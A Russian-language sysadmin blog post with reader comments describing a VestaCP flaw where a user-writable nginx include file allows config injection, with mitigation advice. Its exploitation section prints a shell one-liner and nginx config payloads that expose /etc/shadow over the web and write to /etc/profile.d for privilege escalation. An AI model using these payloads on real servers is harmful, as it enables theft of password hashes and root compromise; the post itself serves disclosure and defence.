Уязвимость в VestaCP

Для VestaCP опубликована информация об уязвимости, обнаруженной ещё в марте. Уязвимость связана с тем, как панель работает с конфигами веб-сервера Nginx.

В конфигурационном файле /home/%user%/conf/web/nginx.conf можно увидеть вот такой location:

location /vstats/ {
 alias /home/%user%/web/%domain%/stats/;
 include /home/%user%/web/%domain%/stats/auth.conf*;
}

Владельцем директории и файла (если он уже создан), при этом, является пользователь. Такое поведение приводит к тому, что в файл, можно записать любое, нужное злоумышленнику содержимое, которое при перезапуске веб-сервера будет прочитано и учтено.

Для того что бы «прикрыть» уязвимое место уже сейчас, имеет смысл сменить владельца директории /stats/ и конфигов в ней на root:root, проверив при этом, не записано ли уже в конфиги что-то лишнее. Либо и вовсе, пока что, закомментировать инклуд этой директории и её содержимого в конфиге веб-сервера.

Использование уязвимости.

Допустим, что злоумышленник получил возможность загружать на сайт свои файлы, либо выполнять собственный PHP код. Ему остаётся сделать примерно так (из PHP):

chmod u+w /home/%user%/web/%domain%/stats/ 
echo 'client_body_temp_path /etc/shadow; location /vstats/steal { alias / ; }' > /home/%user%/web/%domain%/stats/auth.conf.evil

И после того как Nginx будет перезапущен, файл /etc/shadow будет доступен по адресу http://%domain%/vstats/steal/etc/shadow

Автор, опубликовавший информацию о проблеме, приводит примеры чтения системных файлов таким способом и записи файла с повышенными привилегиями в системе:

client_body_temp_path /etc/shadow; 
location /vstats/steal { 
 alias / ; 
}
client_body_temp_path /etc/profile.d/vim.sh; 
location /evil { 
 error_log /etc/profile.d/vim.sh;
}

Во втором примере, после того как Nginx будет перезапущен, у злоумышленника появляется возможность записать что-либо в файл, путём вызова ошибок, которые будут записываться в лог. Затем этот файл можно будет выполнить.

По словам автора, разработчики узнали о проблеме ещё в марте, и на первое обращение отреагировали очень быстро, но затем, ответы и какую-либо реакцию от них он получать перестал. Высказывается и альтернативное мнение о том, что на самом деле, разработчики об уязвимости узнали совсем недавно. Так оно или нет, по большому счёту уже не так важно, уязвимость уже доступна публично, а значит остаётся надеяться, что разработчики панели оперативно исправят её.

@SysadminNotes | https://sysadmin.pm

3 thoughts on “Уязвимость в VestaCP

  1. Спасибо большое! 2020 год, а уязвимость не прикрыли!

    В VestaCP этот код прописан еще в готовых шаблонах nginx (wordpress2_rewrite.stpl и wordpress2_rewrite.tpl)
    Путь: /usr/local/vesta/data/templates/web/nginx/php-fpm

    В этих двух файлах удалил:
    location /vstats/ {
    alias %home%/%user%/web/%domain%/stats/;
    include %home%/%user%/web/%domain%/stats/auth.conf*;
    }

    и
    include /etc/nginx/conf.d/phpmyadmin.inc*;
    include /etc/nginx/conf.d/phppgadmin.inc*;
    include /etc/nginx/conf.d/webmail.inc*;

    Далее перезаливаем эти файлы туда-же, но без этого кода
    В консоль вводим: sudo service nginx restart (перезагружаем nginx)
    После этого изменений не будет (т.к. возможно в кэше у меня), нужно зайти в VestaCP -> WEB -> Домен (редактировать) -> Шаблон WebNGINX -> Выбираем wordpress2_rewrite -> Сохранить
    Теперь шаблон обновится, в /home/%user%/conf/web/nginx.conf два файла домен.nginx.conf и домен.nginx.ssl.conf — в них должен новый конфиг прописаться автоматически, но лучше проверить, если стоит кэш, то может не обновиться. Я менял шаблон на wp чистый (сохранял) а потом ставил обратно wordpress2_rewrite и после этого обновилось, ну у меня чистый wordpress, нечего терять пока-что.

  2. Забыл написать
    Тогда доступ к phpmyadmin и webmail пропадет и из админки нельзя будет зайти
    В этом случае лучше использовать субдомен с основными шаблонами

  3. Почему у статьи нет даты? «Обнаружена еще в марте…» В каком, блять, марте?

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *